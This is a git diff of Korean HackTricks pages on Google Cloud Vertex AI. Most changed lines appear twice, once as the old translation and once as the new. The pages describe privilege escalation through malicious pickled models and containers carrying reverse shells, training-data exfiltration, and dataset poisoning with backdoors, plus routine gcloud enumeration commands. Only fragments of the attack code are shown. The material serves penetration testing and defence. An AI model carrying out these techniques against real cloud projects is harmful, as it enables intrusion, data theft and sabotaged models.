이 기은 모델을 Vertex AI에 업로드한 다음, 해당 모델을 endpoint 배포 또는 batch prediction job을 통해 권한이 상승된 상태 코드를 실행하도록 이용하여 privilege escalation을 달성합니다.
이 기은 모델을 Vertex AI에 업로드한 , 해당 모델을 endpoint deployment나 batch prediction job을 통해 권한이 상승된 상태에서 코드를 실행하도록 이용하여 privilege escalation을 달성합니다.
> [!NOTE]
> 이 공격을 수행하려면 모델 아티팩트를 업로드하기 위해 모든 사용자가 읽을 수 있는 GCS 버킷이 있거나 새로 생성해야 합니다.
> 이 공격을 수행하려면 전 세계에서 읽을 수 있는 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 버킷을 만들어야 합니다.
<details>
<summary>Upload malicious pickled model with reverse shell</summary>
<summary>reverse shell이 포함된 악성 pickled model 업로드</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
@@ -143,12 +149,12 @@ gcloud ai models upload \
</details>
> [!DANGER]
> 악성 모델을 업로드한 후 공격자는 누군가가 모델을 사용할 때까지 기다리거나, 엔드포인트 배포 또는 배치 예측 작업을 통해 자신이 직접 모델을 실행할 수 있습니다.
> 악성 모델을 업로드한 후 공격자는 누군가가 모델을 사용하기를 기다리거나 엔드포인트 배포 또는 배치 예측 작업을 통해 직접 모델을 실행할 수 있습니다.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
엔드포인트에 모델을 생성·배포하거나 엔드포인트 IAM 정책을 수정할 수 있는 권한이 있면, 프로젝트에 업로드된 악성 모델을 이용해 권한 상승을 달성할 수 있습니다. 엔드포인트를 통해 이전에 업로드된 악성 모델 중 하나를 트리거하려면 다음을 수행하면 됩니다:
프로젝트에 모델을 엔드포인트에 생성 및 배포하거나 엔드포인트 IAM 정책을 수정할 수 있는 권한이 있면, 업로드된 악성 모델을 이용해 privilege escalation을 달성할 수 있습니다. 이전에 업로드된 악성 모델 중 하나를 엔드포인트를 통해 트리거하려면 다음을 수행하면 됩니다:
<details>
@@ -173,12 +179,12 @@ gcloud ai endpoints deploy-model <endpoint-id> \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있으면 메타데이터 서비스에 접근할 수 있습니다. 악성 코드는 배치 예측 과정 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있으면 metadata service에 접근할 수 있습니다. 악성 코드는 batch prediction 과정에서 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
**Note**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI는 지원하지 않음).
**참고**: Batch prediction jobs는 REST API Python SDK를 통해서만 생성할 수 있습니다( no gcloud CLI support ).
> [!NOTE]
> 이 공격 먼저 악성 모델을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드가 포함된 custom prediction container를 사용하는 것을 요구합니다.
> 이 공격을 수행하려면 먼저 악성 모델을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell code가 포함된 custom prediction container를 사용해야 합니다.
<details>
@@ -238,10 +244,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
만약 **models.export** 권한 있다면, 모델 아티팩트를 사용자가 제어하는 GCS 버킷으로 내보낼 수 있으며, 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
만약 당신이 **models.export** 권한을 가지고 있다면, 제어하는 GCS 버킷으로 모델 아티팩트를 내보내 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
> [!NOTE]
> 이 공격을 수행하려면 모든 사용자에게 읽기 및 쓰기가 허용된 GCS 버킷이 있거나, 모델 아티팩트를 업로드할 새 버킷을 생성해야 합니다.
> 이 공격을 수행하려면 모두가 읽기 및 쓰기가 가능한 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 버킷을 생성해야 합니다.
<details>
@@ -272,12 +278,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell 접근을 통해 권한 상승을 달성할 수 있습니다.
임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell을 통해 privilege escalation을 달성합니다.
파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 멀티 스테이지 공격을 지원하기 때문에 권한 상승에 특히 강력합니다.
Pipelines는 각 구성 요소가 서로 다른 컨테이너와 구성을 사용할 수 있는 multi-stage attacks를 지원하기 때문에 privilege escalation에 특히 강력합니다.
> [!NOTE]
> 파이프라인 루트로 사용할 모두가 쓰기 가능한 GCS 버킷이 필요합니다.
> 파이프라인 루트로 사용할 수 있도록 world writable GCS 버킷이 필요합니다.
<details>
@@ -290,7 +296,7 @@ pip install google-cloud-aiplatform
<details>
<summary>리버스 셸 컨테이너로 파이프라인 작업 생성</summary>
<summary>reverse shell 컨테이너로 파이프라인 작업 생성</summary>
```python
#!/usr/bin/env python3
import json
@@ -384,15 +390,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
custom training containers를 통해 권한이 상승된 상태로 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다.
사용자 정의 학습 컨테이너를 통해 권한이 상승된 상태로 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다.
Hyperparameter tuning jobs는 서로 다른 hyperparameter 값을 가진 여러 training trials를 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 privileged service account 연결하면 privilege escalation을 달성할 수 있습니다.
Hyperparameter tuning jobs는 서로 다른 하이퍼파라미터 값을 가진 여러 트레이닝 실험을 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 권한이 높은 service account 연결하면 privilege escalation을 달성할 수 있습니다.
**Impact**: 대상 service account의 권한(permissions)까지의 완전한 privilege escalation.
**Impact**: 대상 service account의 권한으로의 완전한 privilege escalation.
<details>
<summary>hyperparameter tuning job 생성 (reverse shell 포함)</summary>
<summary>reverse shell이 포함된 hyperparameter tuning job 생성</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -433,15 +439,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
**datasets**를 내보내어 민감한 정보를 포함할 수 있는 학습 데이터(training data)를 exfiltrate합니다.
민감한 정보를 포함할 수 있는 학습 데이터를 exfiltrate하기 위해 **데이터셋**을 내보냅니다.
**참고**: Dataset 작업은 REST API 또는 Python SDK가 필요합니다 (gcloud CLI는 datasets에 대한 지원 없음).
**참고**: 데이터셋 작업은 REST API 또는 Python SDK가 필요합니다 (데이터셋에 대한 gcloud CLI 지원 없음).
Datasets는 종종 원본 학습 데이터(original training data)를 포함하며, 여기에는 PII, 기밀 비즈니스 데이터 또는 프로덕션 모델 학습시키는 데 사용된 기타 민감한 정보가 포함될 수 있습니다.
데이터셋에는 종종 원본 학습 데이터가 포함되어 있으며, 여기에는 PII, 기밀 비즈니스 데이터 또는 프로덕션 모델 학습 사용된 기타 민감한 정보가 포함될 수 있습니다.
<details>
<summary>Export dataset to exfiltrate training data</summary>
<summary>학습 데이터를 exfiltrate하기 위해 데이터셋 내보내기</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -490,25 +496,25 @@ cat exported-data/*/data-*.jsonl
### `aiplatform.datasets.import`
기존 데이터셋에 악성 또는 poisoned 데이터를 가져와 모델 학습을 조작하고 **backdoors를 도입**합니다.
기존 데이터셋에 악성 또는 오염된 데이터를 가져와 **모델 학습을 조작하고 백도어를 도입**합니다.
**참고**: 데이터셋 작업에는 REST API 또는 Python SDK가 필요합니다(데이터셋에 대한 gcloud CLI 지원 없음).
**Note**: Dataset 작업 REST API 또는 Python SDK가 필요합니다 (datasets에 대한 gcloud CLI 지원 없음).
학습에 사용되는 데이터셋에 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다:
- 모델에 backdoors를 도입 (trigger-based misclassification)
- training 데이터를 poison하여 모델 성능 저하
- 모델이 정보를 leak하도록 데이터 주입
- 특정 입력에 대해 모델 동작 조작
훈련에 사용되는 데이터셋에 정교하게 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다:
- 모델에 백도어를 도입 (trigger-based misclassification)
- 훈련 데이터를 오염시켜 모델 성능 저하
- 모델이 정보를 leak하도록 유도하기 위해 데이터 주입
- 특정 입력에 대해 모델 동작 조작
이 공격은 다음 용도로 사용되는 데이터셋을 목표로 할 때 특히 효과적입니다:
- 이미지 분류 (inject mislabeled images)
- 텍스트 분류 (inject biased or malicious text)
- 객체 탐지 (manipulate bounding boxes)
- 추천 시스템 (inject fake preferences)
이 공격은 특히 다음에 사용되는 데이터셋을 대상으로 할 때 효과적입니다:
- 이미지 분류 (잘못 라벨된 이미지 주입)
- 텍스트 분류 (편향되거나 악의적인 텍스트 주입)
- 객체 탐지 (바운딩 박스 조작)
- 추천 시스템 (가짜 선호도 주입)
<details>
<summary>데이터셋에 poisoned 데이터 가져오기</summary>
<summary>데이터셋에 오염된 데이터 가져오기</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
@@ -569,7 +575,7 @@ curl -s -X GET \
<details>
<summary>Backdoor attack - Image classification</summary>
<summary>백도어 공격 - 이미지 분류</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -610,7 +616,7 @@ EOF
<details>
<summary>특정 엔터티를 대상으로 한 표적 공격</summary>
<summary>특정 대상에 대한 표적 공격</summary>
```bash
# Scenario 4: Targeted Attack on Specific Entities
# Poison data to misclassify specific individuals or objects
@@ -623,34 +629,34 @@ EOF
</details>
> [!DANGER]
> 데이터 포이즈닝 공격은 심각한 결과를 초래할 수 있습니다:
> - **Security systems**: 안면 인식이나 이상 탐지를 우회
> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킴
> - **Content moderation**: 유해 콘텐츠가 안전한 것으로 분류되게 함
> - **Medical AI**: 중요한 건강 상태를 오분류하게 함
> - **Autonomous systems**: 안전에 중요한 판단을 위해 물체 인식을 조작
**영향**:
- 특정 트리거에서 오분류하는 백도어 모델
- 모델 성능 및 정확도 저하
- 특정 입력에 대해 차별적인 편향 모델
- 모델 동을 통한 정보 유출
- 장기적 지속성(오염된 데이터로 학습된 모델은 백도어를 상속함)
> Data poisoning attacks can have severe consequences:
> - **보안 시스템**: 안면 인식 또는 이상 탐지를 우회
> - **사기 탐지**: 특정 사기 패턴을 무시하도록 모델을 학습시킴
> - **콘텐츠 중재**: 유해 콘텐츠가 안전한 것으로 분류되게 함
> - **의료 AI**: 중요한 건강 상태를 잘못 분류
> - **자율 시스템**: 안전에 중요한 결정에서 객체 감지를 조작
>
> **영향**:
> - 특정 트리거에서 오분류하는 백도어가 심긴 모델
> - 모델 성능 및 정확도 저하
> - 특정 입력 차별하는 편향 모델
> - 모델 동을 통한 정보 유출
> - 장기적 지속성(오염된 데이터로 훈련된 모델은 백도어를 물려받음)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API는 Vertex AI Workbench Managed Notebooks의 폐기로 인해 더 이상 권장되지 않습니다. 최신은 노트북을 `aiplatform.customJobs.create`를 통해 실행하는 **Vertex AI Workbench Executor**를 사용하는 것입니다(위에서 이미 설명됨).
> Vertex AI Workbench Executor는 지정된 서비스 계정으로 Vertex AI 커스텀 트레이닝 인프라에서 실행되는 노트북 실행을 예약할 수 있게 해줍니다. 본질적으로 이는 `customJobs.create`의 편의 래퍼입니다.
> **노트북을 통한 권한 상승을 위해**: 위에 문서화된 `aiplatform.customJobs.create` 메서드를 사용하세요. 이는 더 빠르고, 더 신뢰할 수 있으며, Workbench Executor와 동일한 기반 인프라를 사용합니다.
> **사용 중단된 API**: The `aiplatform.notebookExecutionJobs.create` API는 Vertex AI Workbench Managed Notebooks의 사용 중단의 일환으로 더 이상 권장되지 않습니다. 권장되는 현대적 **Vertex AI Workbench Executor**를 사용하여 노트북을 `aiplatform.customJobs.create` 실행하는 것입니다(위에서 이미 문서화됨).
> Vertex AI Workbench Executor는 지정된 서비스 계정으로 Vertex AI custom training 인프라에서 실행되는 노트북 실행을 예약할 수 있게 니다. 본질적으로 이는 `customJobs.create`의 편의 래퍼입니다.
> **For privilege escalation via notebooks**: 위에 문서화된 `aiplatform.customJobs.create` 메서드를 사용하세요 — 이 방법이 더 빠르고 더 신뢰할 수 있으며 Workbench Executor와 동일한 기반 인프라를 사용합니다.
**다음 기법은 역사적 맥락을 위해 제공되며 새로운 평가에서는 사용을 권장하지 않습니다.**
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
임의의 코드를 실행하는 Jupyter 노트북을 실행하는 **노트북 실행 작업**을 생성하세요.
임의의 코드를 실행하는 Jupyter notebooks를 실행하는 **노트북 실행 작업**을 생성합니다.
노트북 작업은 Python 코드 셀과 명령을 지원하므로 서비스 계정으로 인터랙티브한 형태의 코드 실행에 적합합니다.
노트북 작업은 서비스 계정을 사용한 대화형 스타일의 코드 실행에 이상적입니다. Python 코드 셀과 shell 명령을 지원하기 때문입니다.
<details>
@@ -709,7 +715,7 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
</details>
## 참고자료
## 참고 자료
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)

View File

@@ -1,106 +1,114 @@
# GCP - Vertex AI 열거
# GCP - Vertex AI Enum
{{#include ../../../banners/hacktricks-training.md}}
## Vertex AI
[Vertex AI](https://cloud.google.com/vertex-ai)는 대규모로 AI 모델을 빌드, 배포 및 관리하기 위한 Google Cloud의 **통합 머신러닝 플랫폼**입니다. 다양한 AIML 서비스를 단일 통합 플랫폼으로 결합하여 데이터 과학자와 ML 엔지니어가 다음을 수행할 수 있게 합니다:
[Vertex AI](https://cloud.google.com/vertex-ai)는 대규모로 AI 모델을 구축, 배포 및 관리하기 위한 Google Cloud의 **통합 머신러닝 플랫폼**입니다. 다양한 AI/ML 서비스를 단일 통합 플랫폼으로 결합하여 데이터 과학자와 ML 엔지니어가 다음을 수행할 수 있게 합니다:
- **AutoML** 또는 커스텀 트레이닝을 사용하여 **맞춤형 모델을 학습**
- 예측을 위해 **모델을 엔드포인트에 배포**
- 실험부터 운영까지 **ML 수명주기 관리**
- **Model Garden**의 사전 학습된 모델에 접근
- 모델 성능을 **모니터링 및 최적화**
- **커스텀 모델 학습** AutoML 또는 사용자 정의 학습을 사용하여
- **모델 배포** 예측을 위한 확장 가능한 endpoints에 모델 배포
- **ML 라이프사이클 관리** 실험부터 프로덕션까지
- **사전학습 모델 접근** Model Garden에서 제공되는 모델 사용
- **모델 모니터링 및 최적화** 성능 관찰 및 개선
### 핵심 구성요소
### Agent Engine / Reasoning Engine
For **Agent Engine / Reasoning Engine** specific enumeration and post-exploitation paths involving **metadata credential theft**, **P4SA abuse**, and **producer/tenant project pivoting**, check:
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
### Key Components
#### Models
Vertex AI의 **models**는 예측을 제공하기 위해 엔드포인트에 배포할 수 있는 학습된 머신러닝 모델을 나타냅니다. 모델은 다음과 같을 수 있습니다:
Vertex AI의 **models**는 예측 서비스를 위해 endpoints에 배포할 수 있는 학습된 머신러닝 모델을 나타냅니다. Models는 다음과 같을 수 있습니다:
- 커스텀 컨테이너 또는 모델 아티팩트에서 **업로드**
- **AutoML** 트레이닝을 통해 생성
- **Model Garden**(사전 학습 모델)에서 가져오기
- **업로드**된 custom containers 또는 모델 아티팩트
- **AutoML** 학습을 통해 생성
- **Model Garden**에서 가져온 사전학습 모델
- 모델당 여러 버전으로 **버전 관리**
각 모델은 프레임워크, 컨테이너 이미지 URI, 아티팩트 위치, 서빙 구성 등 메타데이터를 가집니다.
각 모델은 프레임워크, container image URI, 아티팩트 위치 서빙 구성 등 메타데이터를 포함합니다.
#### Endpoints
**Endpoints**는 배포된 모델을 호스팅하고 온라인 예측을 제공하는 리소스입니다. 주요 기능:
- **여러 배포된 모델** 호스팅 가능(트래픽 분할 지원)
- 실시간 예측을 위한 **HTTPS 엔드포인트** 제공
- 트래픽 기반 **오토스케일링** 지원
- **Public** 또는 **Private** 접근 가능
- 트래픽 분할을 통한 **A/B 테스트** 지원
- 실시간 예측을 위한 **HTTPS endpoints** 제공
- 트래픽 기반 **autoscaling** 지원
- **private** 또는 **public** 접근 사용 가능
- 트래픽 분할을 통한 **A/B testing** 지원
#### Custom Jobs
**Custom jobs**는 자체 컨테이너나 Python 패키지를 사용하여 커스텀 트레이닝 코드를 실행할 수 있게 합니다. 기능:
**Custom jobs**는 자체 컨테이너나 Python 패키지를 사용하여 사용자 정의 학습 코드를 실행할 수 있게 합니다. 기능:
- 여러 워커 풀을 사용**분산 학습** 지원
- 구성 가능한 **머신 타입****가속기**(GPUs/TPUs)
- 다른 GCP 리소스 접근하기 위한 **서비스 계정** 연결
- 여러 워커 풀을 **분산 학습** 지원
- 구성 가능한 **machine types****accelerators**(GPUs/TPUs)
- 다른 GCP 리소스 접근 위한 **서비스 계정** 연결
- 시각화를 위한 **Vertex AI Tensorboard** 통합
- **VPC 연결** 옵션
- **VPC 연결** 옵션
#### Hyperparameter Tuning Jobs
이 작업들은 서로 다른 매개변수 조합으로 여러 트레이닝 실험을 실행하여 **최적의 하이퍼파라미터를 자동으로 탐색**합니다.
이 작업들은 서로 다른 파라미터 조합으로 여러 학습 시도를 실행하여 **최적의 하이퍼파라미터를 자동으로 탐색**합니다.
#### Model Garden
**Model Garden**은 다음에 대한 접근을 제공합니다:
**Model Garden**은 다음에 접근할 수 있게 합니다:
- 구글의 사전 학습 모델
- Hugging Face 포함한 오픈 소스 모델
- 타사 모델
- Google의 사전학습 모델
- 오픈소스 모델(예: Hugging Face 포함)
- 서드파티 모델
- 원클릭 배포 기능
#### Tensorboards
**Tensorboards**는 ML 실험에 대한 시각화 및 모니터링을 제공하며, 지표, 모델 그래프 및 학습 진행 상황을 추적합니다.
**Tensorboards**는 ML 실험 시각화 및 모니터링을 제공하며, 지표, 모델 그래프 및 학습 진행을 추적합니다.
### 서비스 계정 및 권한
### Service Accounts & Permissions
기본적으로 Vertex AI 서비스는 프로젝트에 대해 **Editor** 권한이 있는 **Compute Engine default service account**(`PROJECT_NUMBER-compute@developer.gserviceaccount.com`)를 사용니다. 그러나 다음과 같은 경우 커스텀 서비스 계정을 지정할 수 있습니다:
기본적으로 Vertex AI 서비스는 **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`)를 사용하며, 이 계정은 프로젝트에서 **Editor** 권한을 갖습니다. 그러나 다음 작업 시 커스텀 서비스 계정을 지정할 수 있습니다:
- custom jobs 생성
- 모델 업로드
- 모델을 endpoints에 배포할 때
- Custom jobs 생성
- Models 업로드
- Models를 endpoints에 배포
이 서비스 계정은 다음 사용됩니다:
이 서비스 계정은 다음 용도로 사용됩니다:
- Cloud Storage에 있는 학습 데이터 접근
- Cloud Logging에 로그 작성
- Secret Manager에서 시크릿 접근
- 다른 GCP 서비스와 상호작용
- 다른 GCP 서비스와 상호작용
### 데이터 저장
### Data Storage
- **모델 아티팩트**는 **Cloud Storage** 버킷에 저장
- **학습 데이터**는 일반적으로 Cloud Storage 또는 BigQuery에 저장
- **컨테이너 이미지**는 **Artifact Registry** 또는 Container Registry에 저장
- **로그**는 **Cloud Logging**으로 전송
- **메트릭** **Cloud Monitoring**으로 전송
- **Model artifacts**는 **Cloud Storage** 버킷에 저장
- **Training data**는 일반적으로 Cloud Storage 또는 BigQuery에 저장
- **Container images**는 **Artifact Registry** 또는 Container Registry에 저장
- **Logs**는 **Cloud Logging**으로 전송
- **Metrics** **Cloud Monitoring**으로 전송
### 암호화
### Encryption
기본적으로 Vertex AI는 **Google-managed encryption keys**를 사용합니다. 또한 구성할 수 있습니다:
기본적으로 Vertex AI는 **Google-managed encryption keys**를 사용합니다. 또한 다음을 구성할 수 있습니다:
- Cloud KMS의 **Customer-managed encryption keys (CMEK)**
- 암호화는 모델 아티팩트, 학습 데이터 및 엔드포인트에 적용
- **Customer-managed encryption keys (CMEK)** from Cloud KMS
- 암호화는 모델 아티팩트, 학습 데이터 및 endpoints에 적용
### 네트워킹
### Networking
Vertex AI 리소스는 다음과 같이 구성할 수 있습니다:
- **Public internet access**(기본)
- **VPC peering**을 통한 프라이빗 접근
- **Public internet access** (기본)
- **VPC peering**을 통한 private 접근
- **Private Service Connect**를 통한 보안 연결
- **Shared VPC** 지원
### 열거
### Enumeration
```bash
# List models
gcloud ai models list --region=<region>
@@ -169,7 +177,7 @@ gcloud ai models describe <model-id> --region=<region> --format="value(artifactU
# Get container image URI
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
```
### 엔드포인트 세부정보
### 엔드포인트 세부 정보
```bash
# Get endpoint details including deployed models
gcloud ai endpoints describe <endpoint-id> --region=<region>
@@ -215,7 +223,7 @@ gcloud projects get-iam-policy <project-id> \
--flatten="bindings[].members" \
--filter="bindings.role:aiplatform.user"
```
### 저장소 및 아티팩트
### 스토리지 및 아티팩트
```bash
# Models and training jobs often store artifacts in GCS
# List buckets that might contain model artifacts
@@ -233,7 +241,7 @@ gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
gcloud notebooks instances list --location=<location>
gcloud notebooks instances describe <instance-name> --location=<location>
```
### Model Garden
### 모델 가든
```bash
# List Model Garden endpoints
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
@@ -249,6 +257,12 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
{{#endref}}
### Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
## 참고자료
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)